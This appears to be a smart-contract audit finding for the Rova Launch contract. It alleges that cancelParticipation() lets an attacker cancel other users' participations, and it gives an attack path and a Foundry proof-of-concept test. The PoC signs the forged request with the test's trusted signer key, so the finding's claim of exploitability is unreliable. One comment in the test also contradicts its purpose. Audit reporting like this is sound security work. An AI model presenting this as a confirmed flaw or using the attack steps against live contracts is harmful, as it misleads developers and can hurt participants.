Tame Sapphire Mammoth

Medium

# Unauthorized Cancellation of Another User’s Participation

### Summary

The `cancelParticipation()` function is capable of canceling an existing participation, but because it doesn't verify that the caller is the owner of the participation, it allows someone to forcibly cancel another user's participation

### Root Cause

```solidity
    function cancelParticipation(CancelParticipationRequest calldata request, bytes calldata signature)
        external
        nonReentrant
        whenNotPaused
        onlyLaunchGroupStatus(request.launchGroupId, LaunchGroupStatus.ACTIVE)
    {
        // Validate request is intended for this launch and unexpired
        _validateRequest(
            request.launchId, request.launchGroupId, request.chainId, request.requestExpiresAt, request.userAddress
        );
        // Validate launch group is open for participation
        LaunchGroupSettings memory settings = launchGroupSettings[request.launchGroupId];
        _validateTimestamp(settings);
        // Validate request signature is from signer role
        _validateRequestSignature(keccak256(abi.encode(request)), signature);

        ParticipationInfo storage info = launchGroupParticipations[request.launchParticipationId];
        // If launch group finalizes at participation, the participation is considered complete and not updatable
        if (settings.finalizesAtParticipation) {
            revert ParticipationUpdatesNotAllowed(request.launchGroupId, request.launchParticipationId);
        }
        if (info.isFinalized) {
            revert ParticipationUpdatesNotAllowed(request.launchGroupId, request.launchParticipationId);
        }

        // Validate userId is the same which also checks if participation exists
        if (request.userId != info.userId) {
            revert UserIdMismatch(info.userId, request.userId);
        }

        // Get total tokens requested for user for launch group
        EnumerableMap.Bytes32ToUintMap storage userTokens = _userTokensByLaunchGroup[request.launchGroupId];
        (, uint256 userTokenAmount) = userTokens.tryGet(request.userId);
        if (userTokenAmount - info.tokenAmount == 0) {
            // If total tokens requested for user is the same as the cancelled participation, remove user from launch group
            userTokens.remove(request.userId);
        } else if (userTokenAmount - info.tokenAmount < settings.minTokenAmountPerUser) {
            // Total tokens requested for user after cancellation must be greater than min token amount per user
            revert MinUserTokenAllocationNotReached(
                request.launchGroupId, request.userId, userTokenAmount, info.tokenAmount
            );
        } else {
            // Subtract cancelled participation token amount from total tokens requested for user
            userTokens.set(request.userId, userTokenAmount - info.tokenAmount);
        }

        // Transfer payment currency from contract to user
        uint256 refundCurrencyAmount = info.currencyAmount;
        IERC20(info.currency).safeTransfer(info.userAddress, refundCurrencyAmount);

        // Reset participation info
        info.tokenAmount = 0;
        info.currencyAmount = 0;

        emit ParticipationCancelled(
            request.launchGroupId,
            request.launchParticipationId,
            request.userId,
            msg.sender,
            refundCurrencyAmount,
            info.currency
        );
    }
// https://github.com/sherlock-audit/2025-02-rova/blob/main/rova-contracts/src/Launch.sol#L404L466
```
Due to the lack of identity verification in the cancelParticipation() function, a malicious user can cancel all existing participations

### Internal Pre-conditions

1. A valid launchParticipationId exists in the contract storage
    - The victim (user1) must have successfully participated in the launch
    - Their participation details (ParticipationInfo) must be stored in launchGroupParticipations

2. cancelParticipation() does not verify if msg.sender == prevInfo.userAddress
    - The contract should only allow the user who created the participation request to cancel it
    - However, this validation is missing, allowing any user to cancel any other user's participation

3. No restrictions on who can submit a CancelParticipationRequest
    - There is no requirement that userAddress in the request matches msg.sender
    - This allows an attacker to submit a cancellation request using another user’s launchParticipationId

4. Sufficient contract balance must be available to process refunds (if applicable)
    - If a refund is issued upon cancellation, the contract must hold enough funds to execute the transaction

### External Pre-conditions

1. The attacker (user2) must have access to user1’s launchParticipationId
    - This information can be obtained through on-chain event logs or by querying the contract storage

2. The launch event must still be in an ACTIVE state
    - If the launch status is COMPLETED, participation modifications (including cancellations) might be restricted

3. The attacker must execute the transaction before user1 claims tokens
    - If user1 claims their allocated tokens before the attack is executed, the exploit will fail


### Attack Path

1. Victim (user1) participates in the launch
    - user1 calls participate() and submits a valid ParticipationRequest
    - Their participation is recorded under launchGroupParticipations with a unique launchParticipationId

2. Attacker (user2) submits a forged cancelParticipation() request
    - user2 retrieves user1's launchParticipationId from the event logs or contract storage
    - user2 submits cancelParticipation() with launchParticipationId set to user1's ID

3. Contract fails to verify that msg.sender is the original participant
    - Instead of rejecting the request, the contract executes the cancellation
    - user1's participation is removed, and they may lose their spot in the launch

### Impact

In a limited allocation launch, an attacker could remove competitors to increase their chances of winning

### PoC

```solidity
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity ^0.8.22;

import {PausableUpgradeable} from "@openzeppelin/contracts-upgradeable/utils/PausableUpgradeable.sol";
import {Test} from "forge-std/Test.sol";
import {console} from "forge-std/console.sol";
import {LaunchTestBase} from "./LaunchTestBase.t.sol";
import {Launch} from "../src/Launch.sol";
import {
    LaunchGroupSettings,
    LaunchGroupStatus,
    ParticipationRequest,
    ParticipationInfo,
    CancelParticipationRequest
} from "../src/Types.sol";

contract LaunchCancelParticipationTest is Test, Launch, LaunchTestBase {
    LaunchGroupSettings public settings;

    function setUp() public {
        _setUpLaunch();
    }

    function test_CancelanotherUsersparticipation() public {
        settings = _setupLaunchGroup();
        ParticipationRequest memory request = _createParticipationRequest();
        bytes memory signature = _signRequest(abi.encode(request));
        vm.startPrank(user1);
        currency.approve(
            address(launch), _getCurrencyAmount(request.launchGroupId, request.currency, request.tokenAmount)
        );
        launch.participate(request, signature);
        ParticipationInfo memory info = launch.getParticipationInfo(request.launchParticipationId);
        console.log("User1's balance after participation : ", currency.balanceOf(user1));
        console.log("info.tokenAmount before ex : ", info.tokenAmount);
        console.log("info.currencyAmount before ex: ", info.currencyAmount);
        vm.stopPrank();

        // User2 cancels their own participation.
        vm.startPrank(user2);
        CancelParticipationRequest memory cancelRequest = CancelParticipationRequest({
            chainId: block.chainid,
            launchId: testLaunchId,
            launchGroupId: testLaunchGroupId,
            launchParticipationId: testLaunchParticipationId,
            userId: testUserId,
            userAddress: user2,
            requestExpiresAt: block.timestamp + 1 hours
        });
        bytes memory cancelSignature = _signRequest(abi.encode(cancelRequest));

        launch.cancelParticipation(cancelRequest, cancelSignature);

        ParticipationInfo memory _info = launch.getParticipationInfo(cancelRequest.launchParticipationId);
        console.log("User1's balance after user2 cancels their participation : ", currency.balanceOf(user1));
        console.log("info.tokenAmount after ex : ", _info.tokenAmount);
        console.log("info.currencyAmount after ex: ", _info.currencyAmount);
        vm.stopPrank();
    }
}
```

![Image](https://sherlock-files.ams3.digitaloceanspaces.com/gh-images/1c5433f4-8a43-4d12-be49-651620aa530e)

### Mitigation

_No response_